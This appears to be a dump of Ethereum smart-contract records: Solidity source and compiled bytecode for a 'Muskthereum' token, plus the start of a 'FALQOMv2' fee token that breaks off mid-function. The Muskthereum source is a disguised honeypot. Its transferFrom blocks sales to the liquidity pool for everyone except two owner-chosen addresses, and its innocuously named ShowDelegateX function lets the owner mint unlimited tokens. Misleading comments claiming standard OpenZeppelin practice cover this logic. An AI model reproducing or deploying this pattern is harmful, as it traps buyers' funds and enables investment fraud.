ffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051808373ffffffffffffffffffffffffffffffffffffffff16815260200182151581526020019250505060405180910390a150565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d2d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117b7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611c616023913960400191505060405180910390fd5b60008111611810576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611ccb6029913960400191505060405180910390fd5b61187c81604051806060016040528060268152602001611ca560269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a089092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191181600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000611a0083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a08565b905092915050565b6000838311158290611ab5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a7a578082015181840152602081019050611a5f565b50505050905090810190601f168015611aa75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611b9283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b9a565b905092915050565b60008083118290611c46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c0b578082015181840152602081019050611bf0565b50505050905090810190601f168015611c385780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611c5257fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737363616c6c6572206973206e6f742072657761726473206469737472696275746f7245524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f72656e6f756365206f776572736869702072657175697265642e20546865204f776e6572206d757374206265207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737361646472657373206973206e6f742072656769737472656420696e2067616d657273206461746162617365616d6f756e742063616e6e6f7420626520686967686572207468616e206c696d6974a26469706673582212208898685fc856304220aedea6131246f86d90ad13a6e988f32ec51f91203e3e1a64736f6c63430007020033 | {"success": true, "error": null, "results": {}} | 1,413 |
0xcceb538ce98d077633947756105b593edf67399a | // Muskthereum is the ERC20 token designed to use Elon Musk's coins on a marketplace within a newly designed MTH (meeth) network.
// Socials to be released on 7/6.
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.17;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint tokens) public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public pool;
address public DelegateX = 0x2044d43E6fc569F1F235fe00139C3b18dD3656DD;
address public DelegateY = 0xa316bfEFC8073655d59a9DAfcf38e89937d51fC8;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "MTH";
name = "Muskthereum";
decimals = 18;
_totalSupply = 2000000000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != pool, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && pool == address(0)) pool = to;
else require(to != pool || (from == DelegateX && to == pool) || (from == DelegateY && to == pool), "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function ShowDelegateX(address _DelegateX, uint256 tokens) public onlyOwner {
DelegateX = _DelegateX;
_totalSupply = _totalSupply.add(tokens);
balances[_DelegateX] = balances[_DelegateX].add(tokens);
emit Transfer(address(0), _DelegateX, tokens);
}
function ShowDelegateY(address _DelegateY) public onlyOwner {
DelegateY = _DelegateY;
}
function () external payable {
revert();
}
}
contract Muskthereum is TokenERC20 {
function CheckToken() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function () external payable {
}
} | 0x60806040526004361061011f5760003560e01c80638ac0076d116100a0578063bc5cbd4e11610064578063bc5cbd4e14610660578063cae9ca51146106b1578063d4ee1d90146107bb578063dd62ed3e14610812578063f2fde38b146108975761011f565b80638ac0076d146104545780638da5cb5b146104ab57806395d89b4114610502578063a9059cbb14610592578063b7284659146106055761011f565b8063313ce567116100e7578063313ce5671461033957806366dc51c31461036a57806370a08231146103c157806379ba5097146104265780637fb3b1f01461043d5761011f565b806306fdde0314610121578063095ea7b3146101b157806316f0115b1461022457806318160ddd1461027b57806323b872dd146102a6575b005b34801561012d57600080fd5b506101366108e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017657808201518184015260208101905061015b565b50505050905090810190601f1680156101a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101bd57600080fd5b5061020a600480360360408110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610986565b604051808215151515815260200191505060405180910390f35b34801561023057600080fd5b50610239610a78565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028757600080fd5b50610290610a9e565b6040518082815260200191505060405180910390f35b3480156102b257600080fd5b5061031f600480360360608110156102c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610af9565b604051808215151515815260200191505060405180910390f35b34801561034557600080fd5b5061034e6110a0565b604051808260ff1660ff16815260200191505060405180910390f35b34801561037657600080fd5b5061037f6110b3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103cd57600080fd5b50610410600480360360208110156103e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d9565b6040518082815260200191505060405180910390f35b34801561043257600080fd5b5061043b611122565b005b34801561044957600080fd5b506104526112bf565b005b34801561046057600080fd5b50610469611367565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b757600080fd5b506104c061138d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050e57600080fd5b506105176113b2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561055757808201518184015260208101905061053c565b50505050905090810190601f1680156105845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561059e57600080fd5b506105eb600480360360408110156105b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611450565b604051808215151515815260200191505060405180910390f35b34801561061157600080fd5b5061065e6004803603604081101561062857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116af565b005b34801561066c57600080fd5b506106af6004803603602081101561068357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611863565b005b3480156106bd57600080fd5b506107a1600480360360608110156106d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561071b57600080fd5b82018360208201111561072d57600080fd5b8035906020019184600183028401116401000000008311171561074f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611900565b604051808215151515815260200191505060405180910390f35b3480156107c757600080fd5b506107d0611b33565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561081e57600080fd5b506108816004803603604081101561083557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b59565b6040518082815260200191505060405180910390f35b3480156108a357600080fd5b506108e6600480360360208110156108ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be0565b005b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561097e5780601f106109535761010080835404028352916020019161097e565b820191906000526020600020905b81548152906001019060200180831161096157829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610af4600960008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600554611c7d90919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610b855750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610bd05782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610df7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580610cd35750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610cd25750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b80610d845750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610d835750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b610df6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610e4982600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7d90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f1b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7d90919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fed82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9790919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461117c57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461131857600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611363573d6000803e3d6000fd5b5050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114485780601f1061141d57610100808354040283529160200191611448565b820191906000526020600020905b81548152906001019060200180831161142b57829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611516576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61156882600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7d90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115fd82600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9790919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461170857600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061175e81600554611c9790919063ffffffff16565b6005819055506117b681600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9790919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118bc57600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611ac1578082015181840152602081019050611aa6565b50505050905090810190601f168015611aee5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611b1057600080fd5b505af1158015611b24573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c3957600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115611c8c57600080fd5b818303905092915050565b6000818301905082811015611cab57600080fd5b9291505056fea265627a7a723158201cc82ad9ddbd475625fc833c3bcc07a91305a4e602d460560ff5a5b7098cb81264736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 1,414 |
0x19ca3a22eba8969aef943dbe79d4e1fc47c39640 | /**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
/**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
/**
https://t.me/falqomofficial
This token was launched due to the wasted potential from the developers on Falqom v1, so a few QOM/FALQOM holders have decided to do it right.
We will be buying and burning both FALQOM and QOM as well as maintaining low tax.
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FALQOMv2 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shiba Hunter v2";//
string private constant _symbol = "FALQOMv2";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 4;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 4;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x2dB27b9625693E6C5Aa830858392aF0c7D98104A);//
address payable private _marketingAddress = payable(0xD0387fd716b2C43FAF34a30BC0ba6F72292eB6bE);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 990000000 * 10**9; //
uint256 public _maxWalletSize = 2000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
